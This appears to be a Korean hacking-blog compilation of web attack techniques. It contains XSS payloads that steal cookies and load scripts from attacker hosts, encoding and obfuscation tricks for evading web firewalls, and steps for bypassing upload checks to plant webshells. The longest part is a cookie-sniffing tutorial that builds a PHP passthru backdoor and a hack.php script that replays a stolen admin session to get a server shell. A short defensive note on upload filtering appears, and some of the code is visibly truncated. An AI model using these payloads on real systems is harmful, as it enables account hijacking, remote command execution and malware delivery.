이미지 출처는 네이버 검색 하였습니다. 어리석은 장난으로 디도스 공격 하지 마시기 바랍니다. 네트워크 방해와 서비스를 방해하는 것도 범죄라는 사실을 아셔야 합니다..

비슷한 관련 툴도 함께 업로드 합니다.
크로스 사이트 스크립팅은 매우 위험한 보안 노출로서 안전한 웹 기반 애플리케이션을 설계할 때 반드시 고려해야 한다. 이 글에서 노출의 본질과, 이것이 어떻게 영향을 미치는지를 설명하고 솔루션 전략을 소개한다.
오늘날 대부분의 웹 사이트는 동적 컨텐트를 웹 페이지에 추가하여 사용자에게 더 많은 즐거움을 선사한다. 동적 컨텐트는 몇몇 서버 프로세스에서 만들어진 컨텐트로서, 설정과 필요에 따라 다르게 작동하고 디스플레이 된다. 동적 웹 사이트는 정적 웹 사이트에는 없는 위험성도 지니고 있다. 이를 "크로스 사이트 스크립팅(cross-site scripting) "이라고 한다. 일명 "XSS"라고도 알려져 있다.
"웹 페이지는 텍스트와 HTML 마크업으로 구성된다. 이들은 서버에 의해 만들어지고 클라이언트 브라우저에 의해 인터프리팅 된다. 정적 페이지만을 만들어 내는 웹 사이트는 브라우저 사용자가 이러한 페이지들을 인터프리팅하는 방식을 완전히 제어할 수 있다. 동적 페이지를 만들어 내는 웹 사이트는 클라이언트가 아웃풋을 인터프리팅 하는 방식을 완전히 제어하지는 못한다. 신뢰할 수 없는 컨텐트가 동적 웹 페이지에 들어갈 수 있다는 것이 문제의 본질이다. 웹 사이트나 클라이언트도 이러한 현상을 인식하여 방어할 수 있는 충분한 정보가 없다." 인터넷 보안 취약성을 연구하는 CERT Coordination Center의 설명이다.
크로스 사이트 스크립팅은 공격자들에게는 이미 유명해졌다. 매월 크로스 사이트 스크립팅 공격이 상용 사이트에서 발생하고 그러한 위험성을
설명하는 경고문이 발표된다. 주의하지 않는다면 여러분의 웹 사이트나 회사도 이러한 공격의 희생양이 될 것이다.
XSS (Cross Site Scripting) 크로스 사이트 스크립팅은 서버의 서비스를 공격하는 일반적인 해킹방법이 아니라 해당 서버를 사용하는 사용자를 공격하는 기법이다. 예를 들어 서비스를 사용하는 사용자가 글을 읽으려고 클릭하는 순간 글에 연결되어 있는 스크립트가 실행되고 스크립트를 통하여 사용자에게 악성코드가 심어진다.
글, 메일, 그림 등을 열람하기 위하여 사용자들의 흥미를 유발시키기 때문에 사회공학적 해킹기법으로 분류된다.
웹 사이트상의 애플리케이션이 크로스 사이트 스크립팅에 취약하다고 알려지면 공격자는 공격을 구상하게 된다. 공격자가 가장 빈번하게 사용하는 기술은
공격 목표의 시스템에 공격 목표의 권한을 사용하여 실행할 수 있도록 JavaScript, VBScript, ActiveX, HTML,
Flash를 투입하는 것이다. 공격이 활성화 되면 계정 하이재킹, 사용자 설정 변경, 쿠키 훔치기 및 오염, 오류 광고 등이 가능하다.
1. XSS Test
일반적인 게시판에 <script>alert("XSS")</script>라고 입력하여 XSS라는 메시지 창이 뜨면 XSS취약점이 있는 것이다.
예제1) 사용자의 쿠키값을 획득
<script>alert(document.cookie);</script>
예제2) 클릭 시 악성코드가 있는 사이트로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>
2. iframe 태그
예제1) 숨겨진 iframe를 이용해 악성코드 사이트로 이동
<iframe src=" http://attack.com" width="0" height="0" frameborder="0"></iframe>
3. object 태그
예제1) 지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동하도록 함.
<object width=0 height=0 sytle=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://test.com/attack_chm::exploit.html></object>
4. div 기법
예제1) div 태그를 사용하여 이미지 등을 삽입시킨다.
<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test.jpg">
</div>
5. 인코딩 기법
예제1) 공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띠지 않거나, IPS, 웹방화벽 드의 감지패턴을 우회하기 위하여 인코딩한다.
원본 : <script>alert("test");</script>
인코딩 : <script>alert(String.fromCharCode(116, 101, 115, 116))</script>
6. Obfuscated 기법
예제1) 인코딩 기법과 같이 우회하기 위해 사용한다.
<script language="javascript">
e = '0x00' + '5F';
str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
str = tmp = '';
for(i=0; i<str1.length; i+=3)
{
tmp = unescape(str1.slice(i,i+3));
str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}
document.write(str);
</script>
7. 기타우회 방법 (이 방법은 정확히 이해가 안되네)
;</script><script>alert("xss");</scr..
공격자들이 크로스 사이트 스크립팅을 사용하여 웹 사이트를 공격하는 방법을 설명했다. 또한 웹 사이트가 간단한 커스텀 태그 라이브러리를
사용하여 동적 컨텐트를 암호화 하는 것으로도 이러한 공격을 줄일 수 있다는 것을 설명했다. XSS
커스텀 태그
라이브러리를 그대로 사용하거나 이를 변형하여 자신의 웹 애플리케이션에 맞출 수 있다.
관련 정보 : http://ha.ckers.org/xss.html#XSScalc
Fileupload 취약점 이용하여 공격하기 (Webshell)
1. 일반 계저정으로 로그인후 게시판에 접근합니다.
2. 홈페이지 게시판에 웹셀을 업로드하여 삽입합니다.
*웹서버는 확장자별 실행유무를 주기 때문에 php, asp와 같은 웹 서버용 파일은 업로드를 Java를 통해 막고 있습니다.
로컬 프록시를 통해 php, asp와 같은 웹 서버용 파일 업로드 우회하기
그리고 실제 서버측에 보낼때에는 확장자를 잡은 데이터를 php로 다시 send를 눌려 업로드 합니다.
*자바 스크립트나 입력값 제한으로는 클라이언트 검사이기 때문에 로컬프록시로 우회가 가능합니다.
3. 웹셀을 실행해여 서버의 중요 파일 및 권한을 획득하면 됩니다.
Fileupload 취약점 방어하기 (Webshell)
1. 게시판에 자바 스크립트를 실행할수 없도록 합니다. (스크립트 태그를 단순 문자로 인식하도록 구성)
2. 파일 업로드 종류를 제한하고 제한 검사를 클라이언트가 아닌 서버에서 하도록 합니다.
문서 :
Cod3rZshell (PHP 웹쉘) 소스보기->
r57shell 1.24 (PHP 웹쉘) 소스보기->
출처 : http://itka.kr
Hacking RSS and Atom Feed Implementations
RSS나 ATOM같은 XML 서비스 사용에 있어서 reader가 web based feed 라면 client역시 충분히 공격받을 수 있습니다
예) no_no_javascript Injection
위와같은 형태로 Javascirpt를 실행하여 불법S/W를 설치하거나, 쿠키등을 훔치게 된다
그럼 아래와 같이 만들면 어떻게 될까요?
대부분의 RSS viewer들은 <를 <로, >를 >로 컨버팅한 후 content를 browser 기반의 component로 실행하기 때문에 위와 같이 변경한다 해도 스크립트는 실행되게 된다
기타 자세한 내용은 첨부파일을 참조하세요 ^^
다양한 XSS 방법들을 소개합니다
일반적으로 document.cookie 같은경우 대부분의 사이트에서 필터링 됩니다
이 사이트 역시 앞에 "no_"가 붙습니다
그럼 와 같은 형태는 어떻게 될까요?
아마 필터링 하기 어렵겠지요 아래예들은 이와같이 여러가지 자바스크립트들을 실행하기 위한 예들을 보여줍니다
Automatic attack program that can be used in Cookie Sniffing by Beist Security Research Group 요약 : Cookie Sniffing은 WWW 환경에서 해커가 사용자나 관리자의 Cookie 혹은 Session과 같이 중요한 정보를 가로채는 기법을 말하고 Cookie Spoofing은 이 정보를 이용하여 해커가 자신의 신분을 속이는 행위를 하는 것을 말한다. 이 정보는 유효 시간이 있을수 있기 때문에 해커는 정보를 획득한 후 빠른 시간 안에 Spoofing 공격을 수행해야 하는데 이 문서는 이러한 공격을 자동으로 처리함으로써 유효 시간에 제약이 없는 공격 기법에 대해서 소개하였다. 해커가 미리 만들어둔 공격 프로그램은 Cookie를 받는 동시에, 자동화 공격 알고리즘을 통해서 공격을 시도한다. 공격에 필요한 정보와, 공격에 수행할 행동을 바탕으로, 자동으로 타겟 서버에 접속하여 자동화 된 공격을 구현하였다. 이러한 공격 작업으로 인해 Cookie나 Session의 유효 시간 안에 공격을 수행할수 있을 뿐만 아니라 관리자의 발 빠른 보안 대처를 힘들게 할 수 있다. |
1. 개요 이 문서는 Cookie Sniffing 을 통하여 Target (여기서는 Admin ID 나 특정 사용자를 말합니다.) 의 Cookie 를 획득하였을 때, 그 이후의 공격 과정을 자동으로 처리하는 방법에 대해서 소개합니다. 만약 Cookie, Cookie Sniffing 공격 기법에 대한 이해가 부족하시다면 beist의 개인 강좌들을 먼저 참고하시고 이 글을 읽어보시기 바랍니다. 이 글은 Target 의 Cookie 를 획득한 후의 공격 과정을 자동으로 수행하는 방법에 대해서 다루고 있으므로 Cookie, Cookie Sniffing 기술에 대한 이해가 충분하지 않으시면 이 문서를 이해하시는 데 조금 어려움이 있을 수도 있습니다. Target 의 Cookie 를 가져오는데 성공했다면, 해당 Cookie 를 이용하여 다시 공격을 수행해야 합니다. 만약 훔쳐온 쿠키가 시간 제한 없이 여전히 사용될 수 있는 내용의 쿠키라면 굳이 이 자동화 공격이 필요하지 않을 것입니다. 그러나 Session 일 경우에 (어떤 상황에서는, Cookie 일 경우에도) 일정 시간이 지날 경우 Session 값이 사라져 버리거나 변조될 수 있기 때문에 Target 의 Session, Cookie 데이터를 획득하고 나서 빠른 시간 안에 공격을 해야 합니다. 그렇지만 Cookie Sniffing 공격 기술의 특성상, 해커가 작성한 악성 코드를 Target 이 읽어야지만 해커에게 Cookie 에게 날라오는데, Target 이 언제 악성 코드를 읽을지 아무도 알 수 없습니다. Target 이 악성 코드를 읽어서 Cookie가 넘어올 때까지 24 시간 컴퓨터 앞에서 지켜보고 있다면 문제가 없겠지만 현실적으로 힘든 이야기입니다. 이런 상황에 대비하여 공격을 자동화하는 프로그램을 만들어둔다면 Cookie를 얻어올 때까지 기다려야 하는 수고를 하지 않아도 됩니다. 공격을 수행하는 프로그램은 다양한 언어로 제작할 수 있겠지만, 여기서는 PHP 를 이용하여 만들어 보겠습니다. |
2. 이용될 수 있는 곳 이 문서에서 다루는 주제는 Cookie 를 얻은 후의 공격 과정을 자동으로 수행하는 프로그램에 대해서 설명합니다. 이 기술을 이용한다면 Cookie 를 얻어올 때까지 기다려야하는 수고를 하지 않아도 됩니다. Cookie Sniffing 은, 제로보드 같은 게시판이나 Web 기반의 메일 서비스, 쇼핑몰, 기타 Cookie 나 Session 을 사용하는 Web 서비스들을 공격하는데 응용될 수 있습니다. 이 문서에서는 임의로 만든 PHP CGI 를 대상으로 기술할 것입니다. 이 문서는 Session Sniffing 후에 공격하는 것에 대해서 알아볼 것입니다. Session Sniffing 에 대해서 알아볼 것이지만, Cookie Sniffing 공격에도 똑같이 적용될 수 있습니다. (Cookie 와 Session 은 엄밀히 따지면 다른 것이지만, 여기에서 사용하는 기법은 두가지 다 이용할 수 있는 기법이므로 이 문서에서는 두 단어를 구별하지 않고 사용하겠습니다. 그리고 또, Cookie Sniffing 의 자동화 공격화 공격이 요점이기 때문에, 기타 CGI 에 대한 자세한 설명이나 기타 취약 가능성에 대해서는 고려하지 않고 작성하였습니다.) |
3. 기술적인 내용 먼저 쿠키를 가져오는 방법에 대해서 간략하게 알아보겠습니다. 여기서 사용하는 쿠키 스니핑은 Cookie Sniffing by Using txt extension 문서에서 설명하였던 방법을 이용하겠습니다. (굳이 이 방법을 이용하지 않아도 쿠키 스니핑을 하는 방법은 여러 가지가 있겠습니다.) 이 문서에서 Admin과 Target은 같은 뜻을 갖고 있습니다. 구분하지 마시고 읽어주시기 바랍니다. 이 문서에서 설명하는 해킹 순서를 알아보겠습니다. (1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt) 조금 복잡한 과정이므로 위 7 가지의 순서를 각각 나누어 설명 하겠습니다. target 의 정보는 다음과 같습니다. Target Server URL - http://beist.org/ 해커의 정보는 다음과 같습니다. 아래의 컴퓨터 주소는 해커가 Target 을 공격할 때 이용합니다. Hacker URL - http://beist.hackerscomputer/ (1) Target 의 Cookie 를 훔쳐오는 악성 Javascript 작성 (test.txt) Cookie Sniffing 에 이용되는 Javascript 문법은 단순합니다. 대표적인 방법으로 window.open 메소드를 호출할 때, 현재 웹 브라우저에 저장되어있는 cookie 를 같이 넘겨주면 되는데, document.cookie 가 바로 그 값입니다. test.txt <html> <script language=javascript> </head> Automatic attack program that can use in Cookie Sniffing </body>
(2) Target 서버의 CGI 자료실에 test.txt 업로드 위 파일을 Target 서버의 CGI 자료실에 업로드합니다. (Cookie Sniffing by Using txt extension 문서에서는 txt 확장자를 이용한 Cookie Sniffing 을 설명하였지만, 반드시 확장자가 txt 여야하는 것은 아닙니다. 상황에 따라서는 jpg 확장자를 갖고 있어도 가능합니다. 즉, 회원 정보에 사진을 올릴 수 있는 기능을 이용한다거나 하는 다른 방법으로도 얼마든지 파일을 Target 서버에 올릴 수 있습니다.) 자료실 기능만 존재한다면 CGI 의 확장자 검사 기능은 걱정하지 않아도 됩니다. txt 확장자를 막아놓는 설정은 거의 찾아볼 수 없으며 있다고 하더라도 jpg 나 기타 다른 확장자를 이용하면 가능하기 때문입니다. [화면1] http://beist.org/~beist/auto/index.html (메인메뉴) pds 메뉴로 들어가 test.txt 파일을 업로드 하겠습니다. [화면2] http://beist.org/~beist/auto/pds.html (파일 업로드 Form) 해커가 올린 test.txt 파일이 정상적으로 업로드 되었습니다. [화면3] http://beist.org/~beist/auto/pds_ok.html (파일 업로드 ok 메세지) pds_ok.html 의 소스를 보겠습니다. pds_ok.html <? echo " if(eregi("php", $file_name)) if(eregi("htm", $file_name)) if(!copy($file, "data/$file_name")) echo "http://beist.org/~beist/auto/data/$file_name save ok"; ?> test.txt 를 정상적으로 업로드 하였고, test.txt 파일이 놓인 위치는 다음과 같습니다. test.txt URL - http://beist.org/~beist/auto/data/test.txt (3) 쉘을 생성하는 PHP 스크립트 작성하여 CGI 자료실에 업로드 (beist.txt) 이번에는 쉘을 생성하는 PHP 스크립트를 작성해보겠습니다. 이 PHP 스크립트는, hack.php 에서 CGI 를 공격할 때 간접적으로 이용됩니다. 스크립트를 작성한 다음 스크립트의 기능에 대해서 간단하게 알아보고 이 것을 이용하는 방법은 뒤에서 다루겠습니다. 자료실에 업로드하기 위해 확장자를 txt로 하였습니다. beist.txt <? /* 이 스크립트에서 생성하는 beist.php 은 passthru 를 실행하는 backdoor if(!file_exists("./data/beist.php")) /* 아래의 루틴은, beist.php 를 쓰기 모드로 열고, 파일 안에 <? passthru($beist); ?> 의 $fp=fopen("./data/beist.php", "w"); fputs($fp, "<? passthru(\$beist); ?>"); fclose($fp); } echo " ?> 만약 위 beist.txt 가 PHP 로 정상적으로 실행된다면, beist.php 가 생성될 것이고, 해커는 beist.php 파일을 이용하여 target 시스템의 nobody 쉘을 얻을 수 있습니다. 잠시 후에 beist.txt가 이용되는 곳에 대해 자세히 설명하겠지만, 미리 간단하게 알아보고 넘어가겠습니다. 어떤 CGI 는 Admin 기능 중, head 와 foot 에 (머리말과 꼬리말) 특정 파일을 include 시킬 수 있는 기능이 존재합니다. 머리말과 꼬리말을 이용하면 Admin 이 특정 메세지나 작업 등을 웹 페이지에 삽입하려할 때 편리합니다. 이 문서에서 target 으로 지정한 CGI 는 이러한 기능을 지원합니다. beist.txt 는 머리말과 꼬리말에 파일을 지정할 수 있는 기능에 이용할 것입니다. 머리말 혹은 꼬리말 둘 중 하나에 beist.txt 파일을 지정해놓으면, CGI 가 작동될 때마다 beist.txt 의 내용이 PHP 로 실행될 것입니다. (물론, 만약 include 가 아닌 단순히 print 를 해준다면 beist.txt 는 PHP 로 실행되지 않습니다.) beist.txt 파일도, (2) 의 과정처럼 Target 서버의 PDS 에 업로드 합니다. 만약 beist.txt 파일이 정상적으로 업로드 되었다면 URL 은 다음과 같습니다. beist.txt URL - http://beist.org/~beist/auto/data/beist.txt
이 문서에서 기술하는 것 중 가장 중요한 부분입니다. hack.php 은, Target 의 쿠키를 훔쳐오자마자 바로 Target Server를 공격하는 작업을 수행합니다. hack.php 의 수행 구조에 대해서 간략히 알아보겠습니다. hack.php 의 진행 순서 -1- Target Server 정보 저장 hack.php 의 소스를 만들기전에 몇가지를 알아보겠습니다. 이 공격은 Target CGI 의 구조를 파악하고 있다는 전제 하에 가능합니다. Target CGI 의 Admin 메뉴 관련 파일들을 알아보겠습니다. [화면4] http://beist.org/~beist/auto/admin_login.html (admin login form) admin_login.html <html> [화면5] http://beist.org/~beist/auto/admin_loginok.html (admin login ok) admin_loginok.html <? if($id == "admin" && $passwd == "beist") echo("<meta http-equiv='refresh' content='0; URL=admin_menu.html'>\n"); ?> [화면6] http://beist.org/~beist/auto/admin_menu.html (admin menu) admin_menu.html <? /* Session 인증 작업. 만약 정상적인 인증이 아니라면 oh! beist 라는 if($HTTP_SESSION_VARS["id"]) echo " /* head는 header로 지정할 파일 이름을 가리킨다. 만약 head 변수의 값이 존재한다면, if($head) /* head.txt 파일이 존재하는지 확인한다. head.txt 파일이 존재한다면 if(file_exists("./data/head.txt")) echo "<br><br>welcome to beist world"; ?> 이 3 개의 파일이 Admin CGI 입니다. admin_login.html, admin_loginok.html 파일은 간단하므로 설명하지 않겠습니다. 주의깊게 봐야할 파일은 admin_menu.html 파일입니다. 우리가 공격할 CGI의 Admin Menu는 header 파일을 지정할 수 있는 기능을 갖추었습니다. Target CGI 의 index.html 의 소스를 보겠습니다. index.html <? /* ./data/head.txt 파일이 존재하는지 확인. 존재한다면 admin 이 header if(file_exists("./data/head.txt"))
index.html 에서는 ./data/head.txt 의 값을 읽습니다. 그 값은 Admin 이 지정한 header 파일의 이름입니다. 그리고 include합니다. 공격을 하기 전에 정상적인 admin 으로 로그인하여 이러한 과정을 테스트 해보겠습니다. 다음과 같은 header.txt 라는 파일을 Target CGI 의 pds 에 올립니다. header.txt <html> 파일을 업로드 한 후 admin 기능을 이용하여 header.txt 파일을 header 로 지정합니다. [화면7] http://beist.org/~beist/auto/admin_menu.html (header 파일 지정) 이제 index.html 을 새로 고침하여 변화가 있는지 알아보겠습니다. [화면8] http://beist.org/~beist/auto/index.html (header 지정된 index.html) index.html 의 상단을 보면 header.txt 의 내용이 포함되어 있음을 확인할 수 있습니다. hack.php 가 해야할 일을 여기서 간단하게 다시 정리하고 넘어가겠습니다. hack.php 에서는 Target CGI 로 연결한 후에, Admin Menu 의 header 파일 지정 기능을 이용하여, beist.txt 을 include 하도록 작업을 해야합니다. 이제 본격적으로 hack.php 의 소스를 알아보겠습니다. hack.php <? /* log 파일 기록에 쓰기 위하여 현재 날짜와 시간을 정의. */ $day = date("Y.m.d", mktime()); /* 만약 cook 변수가 넘어오지 않았다면, 즉, cookie(session)값이 넘어오지 않았다면 에러 메세지를 로그 파일에 기록하고 실행을 중지시킴 */
echo "<br><br><br><center><font size=2>Automatic attack program that can use in Cookie Sniffing<br><br>"; /* url 문자열을 파싱하여, targetcgi, targetaddress, targettotal 등을 정의. targetsession 은 cook 값. */ $total = substr($url, strlen("http://"), 100); $use = split("/", $total); $temp = "http://"; for($count=0;$count<sizeof($use)-2;$count++) $targetcgi = $temp; echo "targetcgi : $targetcgi<br>"; /* 로그 파일에 기록 */
/* admin 메뉴에서 include 할 파일 정의. %2F 는 / 를 뜻함 */ $includefile = ".%2Fdata%2Fbeist.txt"; /* POST method 로 보낼 데이터. ex) head=.%2Fdata%2Fbeist.txt */ $argument = "head=$includefile"; /* POST header 에 보낼 데이터로, argument 의 길이를 저장 */ $argulength = strlen($argument); /* header 정의 */ $httpheader= /* Target 서버의 80 번 포트에 연결. 만약 연결에 실패한다면 로그 파일에 기록 */ $sock=fsockopen("$targetaddress", 80, $errno, $errstr, 30); /* 열린 소켓으로 POST header 와 argument 를 각각 보냄. */ fputs($sock, $httpheader); ?> hack.php 를 만들어 보았습니다. 소스의 기능은 주석을 참고하시기 바랍니다. 이제 이 파일을 hacker 의 서버에 올려놓습니다. hack.php 의 URL 을 다음으로 가정하겠습니다. hack.php URL - http://beist.hackerscomputer/hack.php
이제 해커는 Target ID 에게 test.txt 을 메모로 보내고, Target 이 test.txt 파일을 읽기를 기다려야 합니다. 여기서는 Cookie Sniffing by Using txt extension 문서에서 설명한 방법을 이용할 것입니다. 메모를 보내는 과정은 중요하지 않으므로, 해커가 Admin 에게 다음과 같은 내용의 메모를 보냈다고 가정하겠습니다. 아래의 화면은 Admin 의 Read Memo CGI 페이지에 들어갔을 때의 화면입니다. [화면8] http://beist.org/~beist/auto/read.html (read memo page) (6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격 Target 이 test.txt 를 읽게되면, Cookie (Session) 이 hack.php 으로 넘어가게 될 것입니다. 우리가 위에서 만든 hack.php 프로그램은, Target Web Server 로 연결하고 CGI의 Admin Menu 에서 beist.txt 를 header file 로 지정합니다. [화면10] Admin 이 test.txt 를 읽었을 때 상황 무엇인가 작동된 것 같습니다. hack.php 프로그램이 해커가 의도한대로 작동되었다면, data/head.txt 의 내용은 ./data/beist.txt 로 채워져 있어야 합니다. target 서버에서 직접 확인해보겠습니다. [beist@beist auto]$ cat data/head.txt data/head.txt 파일이 생성되었고, 파일의 내용도 ./data/beist.txt 의 값이 된 것으로 보아 성공적으로 해킹이 이루어진 것을 확인할 수 있습니다. header 파일이 data/beist.txt 로 지정되었으니, index.html 를 열때마다 beist.txt 파일이 include 될 것입니다. index.html 을 새로 고침하면, beist.txt 의 내용이 PHP 로 실행될 것이고, 성공적으로 실행된다면 data/beist.php 백도어 파일이 생성될 것입니다. 백도어 파일이 정상적으로 만들어졌는지 확인해보겠습니다. [화면11] http://beist.org/~beist/auto/data/beist.php?beist=id [backdoor 파일] id 명령어로 시스템에 명령을 내려본 결과 uid 48 의 nobody 쉘을 정상적으로 이용가능함을 확인할 수 있습니다. |
4. 마치는 말 Cookie Sniffing 자동화 공격에 대해서 알아보았습니다. 이것은 엄밀히 말하자면 Sniffing과 Spoofing이 결합된 것입니다. 이 방법은 Target 의 Cookie 를 언제 빼올 수 있을지 알 수 없는 상황에서 기다려야 할 필요가 없다는 점이 효과적이지만, 그러나 단점도 있습니다. 위의 문서에서 설명한 것처럼, hack.php 에서 Target CGI 를 공격하기 위해서는 Target CGI 의 구조에 대해서 미리 파악하고 있어야 한다는 것입니다. 위의 경우에서는 CGI 의 Admin 기능 중 header file 을 정의할 수 있다는 기능을 이용하여 공격을 한 것처럼, 사람이 직접 공격하는 방식이 아닌, hack.php 에서 자동화 공격을 하기 위해서는 CGI 의 구조에 대해서 어느 정도 알고 있어야만 공격을 성공할 수 있을 것입니다. 그렇기 때문에 공개된 CGI 의 경우에는 미리 분석을 통하여 hack.php 같은 프로그램을 이용하여 자동화 공격을 수행할 수 있겠지만 그렇지 않은 경우에는 힘들 것입니다. 그렇지만 Admin 의 Password 를 바꾼다거나, 등록된 정보를 본다거나 하는 정도의 간단한 작업들은 굳이 Target CGI 의 구조를 자세히 몰라도 가능할 수 있습니다. 이 외에, Cookie Sniffing 에 성공하게 되면, 해커에게 자동으로 메일을 보내거나, 문자 메세지를 보내거나 하는 기능의 프로그램을 만들어두는 것도 좋은 방법이 되겠습니다. 마지막으로, 이 방법은 많이 사용되고 있는 특정 CGI 를 공격할 때는, 자동화 공격이 유용할 수 있겠지만, 그래도 여러가지 요소들을 따져 보았을 때 아주 효율적인 기법이라고 생각되진 않습니다. 다만, 이러한 방법으로 공격을 자동화할 수 있다는 것, 그러므로 Session 도 안전하지 못하다라는 것을 이 문서에서는 시사하고 있습니다. 또한 이 방법을 응용할 경우 Web CGI를 공격하는 웜도 쉽게 제작할 수 있을 것입니다. |
mhtml 이 InfotechStorate 프로토콜을 이용할때 취약점을 이용한 해킹입니다
테스트해보니 지금은 보안 패치된것 같네요
하지만 이 과정을 지켜보면 웹해킹에 대한 감을 잡으실 수 있습니다 ^^
최근에 알려진 악성코드 삽입을 위해 사용하는 자바스크립트 삽입 방식입니다.
기존 방식보다더 좀더 꼬우기위해서 이번에는 변수치환 방법을 사용하고 있습니다.
(1) 치환
아래와 같은 코드의 의미는 9e1은 무시되고 뒤에 있는 it을 mutae에 할당한다.
mutae=(9e1,"it");
즉 mutae="it"; 가 되겠군요..
(2) 조건
rgvij=(0.2e1>=4e1?.9075:"i"+"f");
0.2e1은 2와 동일합니다.
4e1은 40과 동일합니다.
아래와 같이 변환할 수 있겠네요..
if ( 2 >= 40 ? .9075 : "i"+"f" )
만약 2 >= 40 조건식이 맞다면 .0975를 실행하고,,
2 >= 40 조건식이 틀리다면 "i"+"f" 실행합니다. 마치 C 함수에서 일반적으로 쓰이는 조건 분기 방법을 사용합니다.
결국 40이 더크므로.."i"+"f" 가 실행되겠네요..
그리고 자바스크립트 해석기는 "i"+"f" 를 if 로 인식합니다.
revij="if"; 라는 식이겠네요..
3) 또 다른 치환
document[“write”](“text to print”); 는 아래와 같이 ..사용될 수도 있죠..
a = document;
b = “write”;
c = “text to print”;
a[b](c);
아래는 샘플입니다. 한 풀어보시죠..
aaa=(((0x4435,7.)>=(.61,9.12e2)?(1,4.033e3):(266,7.1e1)),((0x97<=.1?7.616e3:2.176e3),(.39<8e0?document:2032)))